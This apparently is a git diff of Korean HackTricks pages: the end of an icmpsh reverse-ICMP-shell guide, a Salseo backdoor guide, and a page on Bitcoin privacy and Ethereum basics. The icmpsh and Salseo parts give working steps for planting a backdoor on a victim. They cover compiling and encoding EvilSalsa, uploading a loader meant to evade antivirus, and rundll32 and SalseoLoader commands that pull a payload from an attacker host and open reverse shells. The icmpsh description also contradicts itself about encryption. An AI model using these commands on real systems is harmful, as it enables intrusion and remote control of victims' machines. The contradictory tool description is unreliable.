* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
[https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)에서 백도어를 다운로드하세요.
|
||||
|
||||
# 클라이언트 측
|
||||
|
||||
스크립트를 실행하세요: **run.sh**
|
||||
|
||||
**오류가 발생하면 다음 줄을 변경해보세요:**
|
||||
```bash
|
||||
IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1)
|
||||
IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }')
|
||||
```
|
||||
# ICMP Shell (icmpsh)
|
||||
|
||||
## Description
|
||||
|
||||
ICMP Shell (icmpsh) is a simple reverse ICMP shell that uses ICMP echo requests to establish a command shell on a target machine. It is a part of the [icmpsh](https://github.com/inquisb/icmpsh) project.
|
||||
|
||||
## Features
|
||||
|
||||
- Stealthy communication: ICMP echo requests are commonly allowed through firewalls and are less likely to be detected.
|
||||
- Reverse shell: Allows an attacker to execute commands on the target machine.
|
||||
- Encrypted communication: ICMP payload is encrypted using AES-128-CBC.
|
||||
- Cross-platform: Works on Windows, Linux, and macOS.
|
||||
|
||||
## Usage
|
||||
|
||||
1. Start the listener on the attacker machine:
|
||||
|
||||
```shell
|
||||
icmpsh.exe -l -v -d
|
||||
```
|
||||
|
||||
2. Execute the client on the target machine:
|
||||
|
||||
```shell
|
||||
icmpsh.exe -t <attacker_ip> -d
|
||||
```
|
||||
|
||||
3. Once the connection is established, the attacker can execute commands on the target machine.
|
||||
|
||||
## Limitations
|
||||
|
||||
- Requires administrative privileges on the target machine.
|
||||
- ICMP echo requests may be blocked by some firewalls or network configurations.
|
||||
- The communication is not encrypted by default, but can be enabled using the `-e` option.
|
||||
|
||||
## Detection
|
||||
|
||||
- Monitor network traffic for ICMP echo requests to identify potential ICMP shell activity.
|
||||
- Use intrusion detection systems (IDS) or network monitoring tools to detect suspicious ICMP traffic.
|
||||
- Regularly update firewall rules to block ICMP echo requests if not required.
|
||||
|
||||
## References
|
||||
|
||||
- [icmpsh - GitHub](https://github.com/inquisb/icmpsh)
|
||||
```bash
|
||||
echo Please insert the IP where you want to listen
|
||||
read IP
|
||||
```
|
||||
# **피해자 측**
|
||||
|
||||
피해자에게 **icmpsh.exe**를 업로드하고 실행하세요:
|
||||
```bash
|
||||
icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
186
c2/salseo.md
Normal file
186
c2/salseo.md
Normal file
|
@ -0,0 +1,186 @@
|
|||
# Salseo
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>제로부터 영웨이에로 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>와 함께!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 팔로우하세요**.
|
||||
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## 이진 파일 컴파일
|
||||
|
||||
깃허브에서 소스 코드를 다운로드하고 **EvilSalsa** 및 **SalseoLoader**를 컴파일하세요. 코드를 컴파일하려면 **Visual Studio**가 설치되어 있어야 합니다.
|
||||
|
||||
이러한 프로젝트를 **Windows 상자의 아키텍처에 맞게 컴파일**하세요(Windows가 x64를 지원하는 경우 해당 아키텍처로 컴파일).
|
||||
|
||||
**Visual Studio**에서 **"Platform Target"**의 **왼쪽 "Build" 탭**에서 **아키텍처를 선택**할 수 있습니다.
|
||||
|
||||
(\*\*이 옵션을 찾을 수 없는 경우 **"Project Tab"**을 누르고 **"\<Project Name> Properties"**를 선택하세요)
|
||||
|
||||
![](<../.gitbook/assets/image (132).png>)
|
||||
|
||||
그런 다음, 두 프로젝트를 빌드하세요 (Build -> Build Solution) (로그 내에서 실행 파일의 경로가 표시됩니다):
|
||||
|
||||
![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>)
|
||||
|
||||
## 백도어 준비
|
||||
|
||||
먼저, **EvilSalsa.dll을 인코딩**해야 합니다. 이를 위해 **encrypterassembly.py** 파이썬 스크립트를 사용하거나 프로젝트 **EncrypterAssembly**를 컴파일할 수 있습니다:
|
||||
|
||||
### **Python**
|
||||
```
|
||||
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
|
||||
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
|
||||
```
|
||||
### Windows
|
||||
|
||||
윈도우 시스템에 백도어를 설치하는 것은 매우 일반적입니다. 백도어는 시스템에 대한 원격 액세스를 제공하므로 해커가 시스템에 접속하고 제어할 수 있습니다. 백도어를 설치하는 한 가지 방법은 윈도우 레지스트리에 항목을 추가하는 것입니다. 이를 통해 백도어는 시스템이 부팅될 때 자동으로 실행될 수 있습니다.
|
||||
```
|
||||
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
|
||||
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
|
||||
```
|
||||
이제 Salseo 작업을 실행하는 데 필요한 모든 것이 준비되었습니다: **인코딩된 EvilDalsa.dll**과 **SalseoLoader의 이진 파일**.
|
||||
|
||||
**SalseoLoader.exe 바이너리를 기계에 업로드하십시오. 어떤 AV에서도 감지되지 않아야 합니다...**
|
||||
|
||||
## **백도어 실행**
|
||||
|
||||
### **TCP 역쉘 획득 (HTTP를 통해 인코딩된 dll 다운로드)**
|
||||
|
||||
인코딩된 evilsalsa를 제공하기 위해 HTTP 서버를 시작하고 역쉘 리스너로 nc를 시작하는 것을 기억하세요.
|
||||
```
|
||||
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
|
||||
```
|
||||
### **UDP 리버스 쉘 얻기 (SMB를 통해 인코딩된 dll 다운로드)**
|
||||
|
||||
UDP 리버스 쉘 수신기로 nc를 시작하고 인코딩된 evilsalsa를 제공하기 위해 SMB 서버를 시작하는 것을 기억하세요 (impacket-smbserver).
|
||||
```
|
||||
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
|
||||
```
|
||||
### **ICMP 역쉘 획득하기 (인코딩된 dll 이미 피해자 내부에 삽입됨)**
|
||||
|
||||
**이번에는 역쉘을 수신하기 위해 클라이언트에 특수 도구가 필요합니다. 다운로드:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
|
||||
|
||||
#### **ICMP 응답 비활성화:**
|
||||
```
|
||||
sysctl -w net.ipv4.icmp_echo_ignore_all=1
|
||||
|
||||
#You finish, you can enable it again running:
|
||||
sysctl -w net.ipv4.icmp_echo_ignore_all=0
|
||||
```
|
||||
#### 클라이언트 실행:
|
||||
```
|
||||
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
|
||||
```
|
||||
#### 피해자 내부에서, salseo 작업을 실행합니다:
|
||||
```
|
||||
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
|
||||
```
|
||||
## SalseoLoader의 주 함수를 내보내는 DLL로 컴파일하기
|
||||
|
||||
Visual Studio를 사용하여 SalseoLoader 프로젝트를 엽니다.
|
||||
|
||||
### 주 함수 앞에 추가: \[DllExport]
|
||||
|
||||
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
### 이 프로젝트에 DllExport 설치
|
||||
|
||||
#### **도구** --> **NuGet 패키지 관리자** --> **솔루션용 NuGet 패키지 관리...**
|
||||
|
||||
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
#### **DllExport 패키지 검색 (탐색 탭 사용)하고 설치를 누릅니다 (팝업을 수락)**
|
||||
|
||||
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
프로젝트 폴더에 **DllExport.bat** 및 **DllExport\_Configure.bat** 파일이 나타납니다.
|
||||
|
||||
### DllExport 제거
|
||||
|
||||
**Uninstall**을 누릅니다 (네, 이상하지만 믿어주세요, 필요합니다)
|
||||
|
||||
![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>)
|
||||
|
||||
### Visual Studio를 종료하고 DllExport\_configure 실행
|
||||
|
||||
그냥 Visual Studio를 **종료**합니다
|
||||
|
||||
그런 다음 **SalseoLoader 폴더**로 이동하여 **DllExport\_Configure.bat**을 실행합니다
|
||||
|
||||
**x64**를 선택합니다 (x64 상자 내에서 사용할 것이므로, 제 경우에 해당됩니다), **System.Runtime.InteropServices**를 선택합니다 (**DllExport의 네임스페이스 내에서**) 그리고 **Apply**를 누릅니다
|
||||
|
||||
![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>)
|
||||
|
||||
### 프로젝트를 다시 Visual Studio로 엽니다
|
||||
|
||||
**\[DllExport]**가 더 이상 오류로 표시되지 않아야 합니다
|
||||
|
||||
![](<../.gitbook/assets/image (8) (1).png>)
|
||||
|
||||
### 솔루션 빌드
|
||||
|
||||
**출력 유형 = 클래스 라이브러리**를 선택합니다 (프로젝트 --> SalseoLoader 속성 --> 응용 프로그램 --> 출력 유형 = 클래스 라이브러리)
|
||||
|
||||
![](<../.gitbook/assets/image (10) (1).png>)
|
||||
|
||||
**x64 플랫폼**을 선택합니다 (프로젝트 --> SalseoLoader 속성 --> 빌드 --> 플랫폼 대상 = x64)
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (1).png>)
|
||||
|
||||
솔루션을 **빌드**하려면: 빌드 --> 솔루션 빌드 (출력 콘솔 내에 새 DLL의 경로가 나타납니다)
|
||||
|
||||
### 생성된 Dll 테스트
|
||||
|
||||
Dll을 테스트하려는 위치로 복사하여 붙여넣습니다.
|
||||
|
||||
실행:
|
||||
```
|
||||
rundll32.exe SalseoLoader.dll,main
|
||||
```
|
||||
만약 오류가 나타나지 않는다면, 아마도 기능적인 DLL이 있을 것입니다!!
|
||||
|
||||
## DLL을 사용하여 쉘 획득
|
||||
|
||||
**HTTP** **서버**를 사용하고 **nc** **리스너**를 설정하는 것을 잊지 마세요
|
||||
|
||||
### Powershell
|
||||
```
|
||||
$env:pass="password"
|
||||
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
|
||||
$env:lhost="10.2.0.5"
|
||||
$env:lport="1337"
|
||||
$env:shell="reversetcp"
|
||||
rundll32.exe SalseoLoader.dll,main
|
||||
```
|
||||
### CMD
|
||||
|
||||
### CMD
|
||||
```
|
||||
set pass=password
|
||||
set payload=http://10.2.0.5/evilsalsax64.dll.txt
|
||||
set lhost=10.2.0.5
|
||||
set lport=1337
|
||||
set shell=reversetcp
|
||||
rundll32.exe SalseoLoader.dll,main
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team 전문가)</strong></a><strong>!</strong></summary>
|
||||
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하고 싶다면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
206
crypto-and-stego/blockchain-and-crypto-currencies.md
Normal file
206
crypto-and-stego/blockchain-and-crypto-currencies.md
Normal file
|
@ -0,0 +1,206 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* 회사를 **HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
## 기본 개념
|
||||
|
||||
- **스마트 계약**은 특정 조건이 충족될 때 블록체인에서 실행되는 프로그램으로, 중개인 없이 합의 실행을 자동화합니다.
|
||||
- **탈중앙화 애플리케이션 (dApps)**은 스마트 계약을 기반으로 하며, 사용자 친화적인 프론트엔드와 투명하고 감사 가능한 백엔드를 갖추고 있습니다.
|
||||
- **토큰 및 코인**은 코인이 디지털 화폐로 사용되는 반면, 토큰은 특정 맥락에서 가치나 소유권을 나타냅니다.
|
||||
- **유틸리티 토큰**은 서비스에 대한 액세스를 부여하며, **보안 토큰**은 자산 소유를 나타냅니다.
|
||||
- **DeFi**는 중앙 관리 기관 없이 금융 서비스를 제공하는 것을 의미합니다.
|
||||
- **DEX**와 **DAO**는 각각 탈중앙화된 거래소 플랫폼과 탈중앙화된 자율 조직을 나타냅니다.
|
||||
|
||||
## 합의 메커니즘
|
||||
|
||||
합의 메커니즘은 블록체인에서 안전하고 합의된 트랜잭션 검증을 보장합니다:
|
||||
- **작업 증명 (PoW)**은 트랜잭션 검증을 위해 계산 능력을 의존합니다.
|
||||
- **지분 증명 (PoS)**은 검증자가 일정량의 토큰을 보유해야 하며, PoW에 비해 에너지 소비를 줄입니다.
|
||||
|
||||
## 비트코인 기본 사항
|
||||
|
||||
### 트랜잭션
|
||||
|
||||
비트코인 트랜잭션은 주소 간 자금 이전을 포함합니다. 트랜잭션은 디지털 서명을 통해 검증되며, 개인 키의 소유자만이 이체를 시작할 수 있도록 보장합니다.
|
||||
|
||||
#### 주요 구성 요소:
|
||||
|
||||
- **다중 서명 트랜잭션**은 트랜잭션을 승인하기 위해 여러 개의 서명이 필요합니다.
|
||||
- 트랜잭션은 **입력** (자금의 출처), **출력** (목적지), **수수료** (마이너에게 지불) 및 **스크립트** (트랜잭션 규칙)로 구성됩니다.
|
||||
|
||||
### 라이트닝 네트워크
|
||||
|
||||
라이트닝 네트워크는 채널 내에서 여러 트랜잭션을 허용하여 비트코인의 확장성을 향상시키는 것을 목표로 합니다. 최종 상태만 블록체인에 브로드캐스트됩니다.
|
||||
|
||||
## 비트코인 개인 정보 보호 우려 사항
|
||||
|
||||
**공통 입력 소유** 및 **UTXO 변경 주소 감지**와 같은 개인 정보 보호 공격은 트랜잭션 패턴을 이용합니다. **믹서**와 **CoinJoin**과 같은 전략은 사용자 간의 트랜잭션 링크를 모호하게 만들어 익명성을 향상시킵니다.
|
||||
|
||||
## 익명으로 비트코인 획득하기
|
||||
|
||||
현금 거래, 채굴 및 믹서 사용 등의 방법이 있습니다. **CoinJoin**은 여러 트랜잭션을 혼합하여 추적을 복잡하게 만들고, **PayJoin**은 일반적인 트랜잭션으로 CoinJoin을 위장하여 더 높은 개인 정보 보호를 제공합니다.
|
||||
|
||||
|
||||
# 비트코인 개인 정보 보호 공격
|
||||
|
||||
# 비트코인 개인 정보 보호 공격 요약
|
||||
|
||||
비트코인의 세계에서 트랜잭션의 개인 정보 보호와 사용자의 익명성은 종종 우려의 대상입니다. 여기에는 공격자가 비트코인 개인 정보를 침해할 수 있는 여러 일반적인 방법에 대한 단순화된 개요가 있습니다.
|
||||
|
||||
## **공통 입력 소유 가정**
|
||||
|
||||
일반적으로 서로 다른 사용자의 입력이 하나의 트랜잭션에 결합되는 것은 드물기 때문에 복잡성 때문에 **동일한 소유자에게 속하는 것으로 가정되는 두 개의 입력 주소**입니다.
|
||||
|
||||
## **UTXO 변경 주소 감지**
|
||||
|
||||
UTXO 또는 **사용되지 않은 트랜잭션 출력**은 트랜잭션에서 완전히 소비되어야 합니다. 일부만 다른 주소로 보내는 경우 나머지는 새로운 변경 주소로 이동합니다. 관찰자는 이 새 주소가 송신자에게 속한다고 가정하여 개인 정보를 침해할 수 있습니다.
|
||||
|
||||
### 예시
|
||||
이를 완화하기 위해 믹싱 서비스를 사용하거나 여러 주소를 사용하여 소유권을 모호하게 할 수 있습니다.
|
||||
|
||||
## **소셜 네트워크 및 포럼 노출**
|
||||
|
||||
사용자들은 때로는 비트코인 주소를 온라인으로 공유하여 해당 주소를 소유자와 연결하기 쉽게 만듭니다.
|
||||
|
||||
## **트랜잭션 그래프 분석**
|
||||
|
||||
트랜잭션은 그래프로 시각화될 수 있으며, 자금의 흐름을 기반으로 사용자 간의 잠재적인 연결을 보여줍니다.
|
||||
|
||||
## **불필요한 입력 휴리스틱 (최적의 변경 휴리스틱)**
|
||||
|
||||
이 휴리스틱은 여러 입력과 출력을 가진 트랜잭션을 분석하여 송신자에게 반환되는 변경 출력이 어떤 것인지 추측하는 것에 기반합니다.
|
||||
|
||||
### 예시
|
||||
```bash
|
||||
2 btc --> 4 btc
|
||||
3 btc 1 btc
|
||||
```
|
||||
## **강제 주소 재사용**
|
||||
|
||||
공격자는 이전에 사용한 주소로 작은 금액을 보내어 수신자가 이를 다른 입력과 결합하여 향후 거래에서 주소를 연결하도록 하는 것을 희망합니다.
|
||||
|
||||
### 올바른 지갑 동작
|
||||
이 개인 정보 누출을 방지하기 위해 지갑은 이미 사용한 빈 주소에서 받은 코인을 사용하지 않아야 합니다.
|
||||
|
||||
## **기타 블록체인 분석 기법**
|
||||
|
||||
- **정확한 지불 금액:** 거스름돈이 없는 거래는 동일한 사용자가 소유한 두 주소 간의 거래일 가능성이 높습니다.
|
||||
- **둥근 숫자:** 거래에서 둥근 숫자는 지불을 나타내며, 둥근이 아닌 출력은 거스름돈일 가능성이 높습니다.
|
||||
- **지갑 지문 인식:** 서로 다른 지갑은 고유한 거래 생성 패턴을 가지고 있으므로, 분석가는 사용된 소프트웨어와 변경 주소를 식별할 수 있습니다.
|
||||
- **금액 및 시간 상관 관계:** 거래 시간이나 금액을 공개하면 거래를 추적할 수 있습니다.
|
||||
|
||||
## **트래픽 분석**
|
||||
|
||||
네트워크 트래픽을 모니터링함으로써 공격자는 거래나 블록을 IP 주소와 연결하여 사용자의 개인 정보를 침해할 수 있습니다. 특히 한 개체가 많은 비트코인 노드를 운영하는 경우, 거래를 모니터링하는 능력이 향상됩니다.
|
||||
|
||||
## 더 알아보기
|
||||
개인 정보 공격과 방어에 대한 포괄적인 목록은 [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy)를 참조하십시오.
|
||||
|
||||
|
||||
# 익명의 비트코인 거래
|
||||
|
||||
## 익명으로 비트코인을 얻는 방법
|
||||
|
||||
- **현금 거래**: 현금으로 비트코인을 얻는 방법.
|
||||
- **현금 대체 수단**: 상품권을 구매하고 온라인에서 비트코인으로 교환하는 방법.
|
||||
- **마이닝**: 비트코인을 얻는 가장 개인적인 방법은 마이닝을 통해 얻는 것입니다. 특히 개인적으로 마이닝을 할 경우, 마이닝 풀은 마이너의 IP 주소를 알 수 있을 수 있습니다. [마이닝 풀 정보](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||
- **도난**: 이론적으로 비트코인을 훔칠 수도 있지만, 이는 불법이며 권장되지 않습니다.
|
||||
|
||||
## 혼합 서비스
|
||||
|
||||
혼합 서비스를 사용하면 사용자는 **비트코인을 보내고 다른 비트코인을 받아** 원래 소유자를 추적하기 어렵게 만들 수 있습니다. 그러나 이를 위해서는 서비스가 로그를 유지하지 않고 실제로 비트코인을 반환하지 않을 것을 신뢰해야 합니다. 대체로 혼합 옵션으로는 비트코인 카지노가 있습니다.
|
||||
|
||||
## CoinJoin
|
||||
|
||||
**CoinJoin**은 여러 사용자의 여러 거래를 하나로 병합하여 입력과 출력을 매칭하려는 노력을 어렵게 만듭니다. 그러나 고유한 입력과 출력 크기를 가진 거래는 여전히 추적될 수 있습니다.
|
||||
|
||||
CoinJoin을 사용한 예시 거래로는 `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a`와 `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`가 있습니다.
|
||||
|
||||
자세한 정보는 [CoinJoin](https://coinjoin.io/en)을 참조하십시오. Ethereum에서 비슷한 서비스인 [Tornado Cash](https://tornado.cash)는 채굴자의 자금으로 거래를 익명화합니다.
|
||||
|
||||
## PayJoin
|
||||
|
||||
CoinJoin의 변형인 **PayJoin** (또는 P2EP)은 두 당사자 (예: 고객과 상인) 간의 거래를 일반적인 거래로 위장시키며, CoinJoin의 특징인 동일한 출력이 없습니다. 이로써 일반적인 입력 소유성 휴리스틱을 감지하기가 매우 어려워지며, 거래 감시 엔티티가 사용하는 휴리스틱을 무효화할 수 있습니다.
|
||||
```plaintext
|
||||
2 btc --> 3 btc
|
||||
5 btc 4 btc
|
||||
```
|
||||
위의 거래와 같은 거래는 PayJoin일 수 있으며, 표준 비트코인 거래와 구별할 수 없는 상태로 개인 정보 보호를 향상시킬 수 있습니다.
|
||||
|
||||
**PayJoin의 활용은 전통적인 감시 방법을 크게 방해할 수 있으며**, 거래 개인 정보 보호의 추구에서 유망한 발전입니다.
|
||||
|
||||
|
||||
# 암호화폐에서 개인 정보 보호를 위한 최상의 실천 방법
|
||||
|
||||
## **지갑 동기화 기술**
|
||||
|
||||
개인 정보 보호와 보안을 유지하기 위해 블록체인과 지갑을 동기화하는 것이 중요합니다. 두 가지 방법이 돋보입니다:
|
||||
|
||||
- **풀 노드**: 전체 블록체인을 다운로드하여 풀 노드는 최대한의 개인 정보 보호를 보장합니다. 모든 거래 내역이 로컬에 저장되어 있으므로, 상대방이 사용자가 관심을 가지고 있는 거래나 주소를 식별하는 것은 불가능합니다.
|
||||
- **클라이언트 측 블록 필터링**: 이 방법은 블록체인의 각 블록에 대한 필터를 생성하여 지갑이 특정 관심사를 네트워크 관찰자에게 노출하지 않고도 관련 거래를 식별할 수 있게 합니다. 경량 지갑은 이러한 필터를 다운로드하며, 사용자의 주소와 일치하는 경우에만 전체 블록을 가져옵니다.
|
||||
|
||||
## **익명성을 위한 Tor의 활용**
|
||||
|
||||
비트코인이 P2P 네트워크에서 작동하기 때문에, 네트워크와 상호 작용할 때 IP 주소를 가리기 위해 Tor를 사용하는 것이 좋습니다.
|
||||
|
||||
## **주소 재사용 방지**
|
||||
|
||||
개인 정보 보호를 보호하기 위해 각 거래에 새로운 주소를 사용하는 것이 중요합니다. 주소를 재사용하면 거래를 동일한 개체에 연결하여 개인 정보 보호를 침해할 수 있습니다. 현대적인 지갑은 주소 재사용을 방지하기 위한 디자인을 채택하고 있습니다.
|
||||
|
||||
## **거래 개인 정보 보호를 위한 전략**
|
||||
|
||||
- **여러 거래**: 지불을 여러 거래로 분할하면 거래 금액을 모호하게 만들어 개인 정보 보호 공격을 방지할 수 있습니다.
|
||||
- **거스름돈 회피**: 거스름돈 출력이 필요하지 않은 거래를 선택함으로써 거스름돈 감지 방법을 방해하여 개인 정보 보호를 향상시킵니다.
|
||||
- **여러 거스름돈 출력**: 거스름돈 회피가 불가능한 경우에도 여러 거스름돈 출력을 생성함으로써 여전히 개인 정보 보호를 개선할 수 있습니다.
|
||||
|
||||
# **Monero: 익명성의 상징**
|
||||
|
||||
Monero는 디지털 거래에서 절대적인 익명성의 필요성을 해결하며, 개인 정보 보호에 대한 높은 기준을 제시합니다.
|
||||
|
||||
# **Ethereum: 가스와 거래**
|
||||
|
||||
## **가스 이해**
|
||||
|
||||
가스는 Ethereum에서 작업을 실행하는 데 필요한 계산 노력을 측정하며, **gwei**로 가격이 책정됩니다. 예를 들어, 2,310,000 gwei(또는 0.00231 ETH)의 비용이 드는 거래는 가스 한도와 기본 수수료, 채굴자를 동기화하기 위한 팁을 포함하고 있습니다. 사용자는 최대 수수료를 설정하여 과금을 방지하고, 초과 금액은 환불됩니다.
|
||||
|
||||
## **거래 실행**
|
||||
|
||||
Ethereum에서의 거래는 송신자와 수신자로 구성되며, 사용자나 스마트 계약 주소가 될 수 있습니다. 거래에는 수수료가 필요하며, 채굴되어야 합니다. 거래에서 중요한 정보는 수신자, 송신자의 서명, 가치, 선택적 데이터, 가스 한도 및 수수료입니다. 특히, 송신자의 주소는 서명에서 유추되므로 거래 데이터에 필요하지 않습니다.
|
||||
|
||||
이러한 실천 방법과 메커니즘은 개인 정보 보호와 보안을 우선시하는 사람들에게 필수적입니다.
|
||||
|
||||
|
||||
## 참고 자료
|
||||
|
||||
* [https://en.wikipedia.org/wiki/Proof\_of\_stake](https://en.wikipedia.org/wiki/Proof\_of\_stake)
|
||||
* [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
|
||||
* [https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions](https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions)
|
||||
* [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/)
|
||||
* [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
|
||||
* [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced\_address\_reuse)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
